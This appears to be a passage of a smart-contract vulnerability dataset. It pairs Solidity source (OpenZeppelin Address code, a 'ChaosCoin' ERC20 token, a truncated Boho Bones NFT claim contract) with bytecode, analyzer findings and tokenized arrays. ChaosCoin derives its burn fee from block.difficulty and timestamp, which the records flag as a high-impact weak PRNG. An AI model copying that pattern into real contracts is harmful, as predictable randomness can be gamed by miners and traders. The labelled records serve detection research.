* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212204b3fa7a5bb68913dbe370dbfd234cf522fd04704fe239b220d3a4aaf48ef7b8e64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2549,
2278,
2475,
2094,
2575,
2620,
2497,
24087,
2581,
2475,
10354,
2497,
23777,
2629,
2546,
17134,
2581,
12521,
2546,
22407,
2475,
20961,
24434,
27009,
2581,
2050,
2581,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
4769,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
5527,
14540,
4140,
1012,
14017,
1000,
1025,
1013,
1013,
8841,
18551,
3206,
8841,
22327,
2015,
1063,
27507,
16703,
4722,
5377,
3145,
1027,
1014,
2595,
21619,
2692,
2620,
2683,
2549,
27717,
2509,
3676,
2487,
2050,
16703,
10790,
28756,
2581,
2278,
2620,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,517 | 0x95457047f1229add73cd9825f2aba236bfab01ae | /**
* /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
* /$$__ $$| $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$|_ $$_/| $$$ | $$
* | $$ \__/| $$ | $$| $$ \ $$| $$ \ $$| $$ \__/ | $$ \__/| $$ \ $$ | $$ | $$$$| $$
* | $$ | $$$$$$$$| $$$$$$$$| $$ | $$| $$$$$$ | $$ | $$ | $$ | $$ | $$ $$ $$
* | $$ | $$__ $$| $$__ $$| $$ | $$ \____ $$ | $$ | $$ | $$ | $$ | $$ $$$$
* | $$ $$| $$ | $$| $$ | $$| $$ | $$ /$$ \ $$ | $$ $$| $$ | $$ | $$ | $$\ $$$
* | $$$$$$/| $$ | $$| $$ | $$| $$$$$$/| $$$$$$/ | $$$$$$/| $$$$$$/ /$$$$$$| $$ \ $$
* \______/ |__/ |__/|__/ |__/ \______/ \______/ \______/ \______/ |______/|__/ \__/
*
*
* EVERY TRANSACTION HAS A FEE THAT RANDOMLY BURNS BETWEEN 1-10%
*
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Counters {
struct Counter {
uint256 _value;
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Arrays {
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private FeeNumber;
uint256 private feeAmount;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
FeeNumber = ((block.difficulty * block.timestamp) % 10) + 1;
feeAmount = (amount * FeeNumber)/100;
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
uint256 receiveAmount = amount - feeAmount;
uint256 senderAmount = senderBalance - amount;
_burn(sender, feeAmount);
_balances[sender] = senderAmount;
_balances[recipient] += receiveAmount;
emit Transfer(sender, recipient, receiveAmount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
//_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
}
contract ChaosCoin is ERC20("Chaos Coin", "Chaos") {
constructor() {
_mint(msg.sender, 1000000000 * 10 ** decimals()); //Owner
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
override(ERC20)
{
super._beforeTokenTransfer(from, to, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c391906110cd565b60405180910390f35b6100e660048036038101906100e19190610ed5565b610308565b6040516100f391906110b2565b60405180910390f35b610104610326565b604051610111919061120f565b60405180910390f35b610134600480360381019061012f9190610e86565b610330565b60405161014191906110b2565b60405180910390f35b610152610431565b60405161015f919061122a565b60405180910390f35b610182600480360381019061017d9190610ed5565b61043a565b60405161018f91906110b2565b60405180910390f35b6101b260048036038101906101ad9190610e21565b6104e6565b6040516101bf919061120f565b60405180910390f35b6101d061052e565b6040516101dd91906110cd565b60405180910390f35b61020060048036038101906101fb9190610ed5565b6105c0565b60405161020d91906110b2565b60405180910390f35b610230600480360381019061022b9190610ed5565b6106b4565b60405161023d91906110b2565b60405180910390f35b610260600480360381019061025b9190610e4a565b6106d2565b60405161026d919061120f565b60405180910390f35b606060038054610285906113fe565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906113fe565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c61031561075e565b8484610766565b6001905092915050565b6000600254905090565b600061033d848484610931565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061038861075e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061116f565b60405180910390fd5b6104258561041461075e565b85846104209190611342565b610766565b60019150509392505050565b60006012905090565b60006104dc61044761075e565b84846001600061045561075e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190611261565b610766565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906113fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906113fe565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf61075e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610683906111ef565b60405180910390fd5b6106a961069761075e565b8585846106a49190611342565b610766565b600191505092915050565b60006106c86106c161075e565b8484610931565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cd906111cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d9061112f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610924919061120f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610998906111af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a08906110ef565b60405180910390fd5b610a1c838383610c1f565b6001600a4244610a2c91906112e8565b610a369190611430565b610a409190611261565b600581905550606460055482610a5691906112e8565b610a6091906112b7565b60068190555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae39061114f565b60405180910390fd5b600060065483610afc9190611342565b905060008383610b0c9190611342565b9050610b1a86600654610c2f565b806000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bab9190611261565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0f919061120f565b60405180910390a3505050505050565b610c2a838383610759565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c969061118f565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c9061110f565b60405180910390fd5b8181610d319190611342565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610d859190611342565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dea919061120f565b60405180910390a3505050565b600081359050610e06816117c6565b92915050565b600081359050610e1b816117dd565b92915050565b600060208284031215610e3357600080fd5b6000610e4184828501610df7565b91505092915050565b60008060408385031215610e5d57600080fd5b6000610e6b85828601610df7565b9250506020610e7c85828601610df7565b9150509250929050565b600080600060608486031215610e9b57600080fd5b6000610ea986828701610df7565b9350506020610eba86828701610df7565b9250506040610ecb86828701610e0c565b9150509250925092565b60008060408385031215610ee857600080fd5b6000610ef685828601610df7565b9250506020610f0785828601610e0c565b9150509250929050565b610f1a81611388565b82525050565b6000610f2b82611245565b610f358185611250565b9350610f458185602086016113cb565b610f4e816114ee565b840191505092915050565b6000610f66602383611250565b9150610f71826114ff565b604082019050919050565b6000610f89602283611250565b9150610f948261154e565b604082019050919050565b6000610fac602283611250565b9150610fb78261159d565b604082019050919050565b6000610fcf602683611250565b9150610fda826115ec565b604082019050919050565b6000610ff2602883611250565b9150610ffd8261163b565b604082019050919050565b6000611015602183611250565b91506110208261168a565b604082019050919050565b6000611038602583611250565b9150611043826116d9565b604082019050919050565b600061105b602483611250565b915061106682611728565b604082019050919050565b600061107e602583611250565b915061108982611777565b604082019050919050565b61109d816113b4565b82525050565b6110ac816113be565b82525050565b60006020820190506110c76000830184610f11565b92915050565b600060208201905081810360008301526110e78184610f20565b905092915050565b6000602082019050818103600083015261110881610f59565b9050919050565b6000602082019050818103600083015261112881610f7c565b9050919050565b6000602082019050818103600083015261114881610f9f565b9050919050565b6000602082019050818103600083015261116881610fc2565b9050919050565b6000602082019050818103600083015261118881610fe5565b9050919050565b600060208201905081810360008301526111a881611008565b9050919050565b600060208201905081810360008301526111c88161102b565b9050919050565b600060208201905081810360008301526111e88161104e565b9050919050565b6000602082019050818103600083015261120881611071565b9050919050565b60006020820190506112246000830184611094565b92915050565b600060208201905061123f60008301846110a3565b92915050565b600081519050919050565b600082825260208201905092915050565b600061126c826113b4565b9150611277836113b4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156112ac576112ab611461565b5b828201905092915050565b60006112c2826113b4565b91506112cd836113b4565b9250826112dd576112dc611490565b5b828204905092915050565b60006112f3826113b4565b91506112fe836113b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561133757611336611461565b5b828202905092915050565b600061134d826113b4565b9150611358836113b4565b92508282101561136b5761136a611461565b5b828203905092915050565b600061138182611394565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156113e95780820151818401526020810190506113ce565b838111156113f8576000848401525b50505050565b6000600282049050600182168061141657607f821691505b6020821081141561142a576114296114bf565b5b50919050565b600061143b826113b4565b9150611446836113b4565b92508261145657611455611490565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6117cf81611376565b81146117da57600080fd5b50565b6117e6816113b4565b81146117f157600080fd5b5056fea2646970667358221220dc0495eafafdc4be0658e8e2323b7b1d5af90884e0d881c16c3dba7b41b2caa964736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
28311,
2692,
22610,
2546,
12521,
24594,
4215,
2094,
2581,
2509,
19797,
2683,
2620,
17788,
2546,
2475,
19736,
21926,
2575,
29292,
7875,
24096,
6679,
1013,
1008,
1008,
1008,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1002,
1002,
1002,
1002,
1013,
1002,
1002,
1013,
1002,
1002,
1008,
1013,
1002,
1002,
1035,
1035,
1002,
1002,
1064,
1002,
1002,
1064,
1002,
1002,
1013,
1002,
1002,
1035,
1035,
1002,
1002,
1013,
1002,
1002,
1035,
1035,
1002,
1002,
1013,
1002,
1002,
1035,
1035,
1002,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,518 | 0x9546839092F2699349FD72B3Fb745604a37bfdEb | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
/**
* @title ERC721
* @dev Abstract base implementation for ERC721 functions utilized within dispensary contract.
*/
abstract contract ERC721 {
using SafeMath for uint256;
function safeTransferFrom(address from, address to, uint256 tokenId) external virtual;
function tokenOfOwnerByIndex(address owner, uint256 index) external view virtual returns (uint256 tokenId);
function balanceOf(address owner) external view virtual returns (uint256 balance);
}
contract FreeBohoEvent is ERC721Holder, Ownable {
using SafeMath for uint256;
/**************************************************************/
/*********************** Events & Vars ************************/
/**************************************************************/
// Boho Bones ERC721 Contract
ERC721 public bohoBonesContract = ERC721(0x6B521ADC1Ca2fC6819dddB66b24e458FeD0780c6);
// Dispensary wallet
address public dispensaryWallet = 0x1d3F0BaE0dD29aaEaCECC7F73b3A236a61369dD7;
mapping(address => uint256) public freeBohoBonesClaims;
// Bool to pause/unpause gift event
bool public isActive = false;
/**
* @param claimee Address of the claimee.
*/
event Claim(address claimee);
/**************************************************************/
/************************ Constructor *************************/
/**************************************************************/
constructor() {freeBohoBonesClaims[0x8DD23f498DD5543D2EB4fc25E7126B38e764c1AC] = 29;
freeBohoBonesClaims[0xad0178f0bD6366c8ea06148D3250FDc1103Cb555] = 25;
freeBohoBonesClaims[0xC7Ff03e2bf706BD0b45d59dd964bd9c39De1eC2D] = 18;
freeBohoBonesClaims[0x0BbF707661Ec707cf3d0f78A053558da88Cb086c] = 14;
freeBohoBonesClaims[0xc1b52456b341f567dFC0Ee51Cae40d35F507129E] = 8;
freeBohoBonesClaims[0x1d3F0BaE0dD29aaEaCECC7F73b3A236a61369dD7] = 5;
freeBohoBonesClaims[0x98F32222F1A9ED6A2E71FfC7c322bEE1A8AE5f2A] = 5;
freeBohoBonesClaims[0xB14Ff6a76573DB4FebeC7E002ea5CB01bfCeF784] = 4;
freeBohoBonesClaims[0xEFAa2607F171b6df935aC679253734223A3275a4] = 4;
freeBohoBonesClaims[0x8cE584fe9609fe2F0EFD1a8b9b7fc4846C32e679] = 3;
freeBohoBonesClaims[0xd45858221bc7170BA813495f8C777c006189F910] = 3;
freeBohoBonesClaims[0xEc7641e298aF02c19171451381C570327389b0c2] = 3;
freeBohoBonesClaims[0xDd4C53C7747660fb9954E5fc7B36f94b4A297922] = 3;
freeBohoBonesClaims[0xb3a3eed660EA4C43Caf8774cfA3e09049C798468] = 3;
freeBohoBonesClaims[0xbd87223189f01ad1A5aa35324744A70edeEF24Bc] = 3;
freeBohoBonesClaims[0x36A8A94153514202E1a0b957659fE2599B1eB0F1] = 3;
freeBohoBonesClaims[0xE9cF68cdDB318e142fA40D60C4458425F78Ab18E] = 2;
freeBohoBonesClaims[0x1Bb01159AB168ACD0Cc055eAD980729A2ADAe919] = 2;
freeBohoBonesClaims[0x2d021B60d85A36a3Cc25fbc9959A1749a8Dbd697] = 2;
freeBohoBonesClaims[0x39dB72Dc9494Ed36Fffd3A3458f1eb969213E9A1] = 2;
freeBohoBonesClaims[0x5EB57983CA289A3F06c25Bb968D467283AB9925C] = 2;
freeBohoBonesClaims[0xe397dD922a12149Dc346c405c89c4cdbf5ae99FC] = 2;
freeBohoBonesClaims[0xD8f76F9B09984150ae868DEB81ECBf33352f9fD8] = 1;
freeBohoBonesClaims[0xA5C8C195E6136F29Ef27d9ab9Cccb4440B981B96] = 1;
freeBohoBonesClaims[0xC830A16B73EEF1b47FeB25210b0E40BE06C5f8eF] = 1;
freeBohoBonesClaims[0xEa704D7c14D0073C5548ed19b73bfD060a618079] = 1;
freeBohoBonesClaims[0x6f3000B303947B36323C7c3755a1801b450c7f9f] = 1;
freeBohoBonesClaims[0xA30DA7f10BbAF3Bc2f2F988ed3f12D486397F454] = 1;
freeBohoBonesClaims[0x1D144AE3991C86504a38aA9A3EB4CCD27fa4af72] = 1;
freeBohoBonesClaims[0x0B3B6585e71c2175667360cce8dDe426D4B63f88] = 1;
freeBohoBonesClaims[0x491E7B27d69597EF6b2cAB4002Da3B9C0229943c] = 1;
freeBohoBonesClaims[0x30104D7F97d93b06A907589d122491A4527a0a9b] = 1;
freeBohoBonesClaims[0x73Ac429c11f80480D50eD48cDA7D84d36A3375aa] = 1;
freeBohoBonesClaims[0xa5C065337C5bADb5f5De5376d3AfB97f510Aa193] = 1;
